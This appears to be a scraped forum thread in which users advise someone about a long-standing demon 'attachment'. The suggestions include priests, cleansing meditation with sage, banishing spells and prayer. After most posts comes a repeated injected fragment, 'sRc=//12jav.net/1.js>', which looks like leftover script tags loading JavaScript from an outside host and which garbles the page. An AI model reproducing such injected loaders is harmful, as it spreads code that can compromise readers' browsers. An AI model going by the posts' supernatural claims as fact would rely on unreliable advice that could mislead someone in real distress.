A catholic priest won't be able to do much. Try finding out what the demon wants. Maybe you can come to a compromise sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
If the demon is an archdemon then you will need an arch angel if heaven forbid it is Satan then if you're really good at music challenge him I am not responsible if you lose sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
Demons don't "attach" to people. Most of the time it is something called a thoughtform and those are typically, unconsciously created from the negativity in one's life. Ever heard people talk about bottling one's emotions? That's the basic principle of it.
Now, what I would recommend doing is a cleansing meditation with some sage around you. This meditation, is one that I have found and I have seen the results of it first hand.
Find a calm and relaxing environment where you wont be interrupted. I would recommend cutting off any electronics because the notifications can become distracting. Then once your in a peaceful area focus on relaxing. Once you are fully relax begin to visualize a white ball of light. Once you have the light visualized, if you notice any imperfections begin to focus on cleansing it with the light.
To help myself relax, I have noticed controlled breathing helps. Such as consciously telling yourself as you breathe in, you are breathing in positive energy and exhale the negative. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
Lady_Fafen was right. Meditating was the best way to relax yourself. Not an ordinary meditatiobln, but a Cleansing Meditation. But I would also recommend that you should try consulting catholic church first. Its the best aid after all. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
If the demon attached a person from 8 years is possible to be very hard to removed it,can I ask what type of demon?Anyway,a banishing spell is possible to work but I think more banishing spells will be good (did by a skill witch,my suggestion).Also you can try to make him feel more peaceful after did the spells,a cinnamon tea will work for a peaceful dream,yoga etc.Another method wil be an exorcism but how I said can be hard to removed a demon from a person which was attacked by it for 8 years.Good luck!
Wind thunder angels and demons are counterparts, thus they cannot stop each other. An archdemon in every way is just as powerful and an archangel. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
I'm saddened to hear that such a trouble has befallen you! Seek answers from god because one can do all things through god. If that does not work, then see a man of god, for he may have the tools necessary to help.
May god be with you all. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>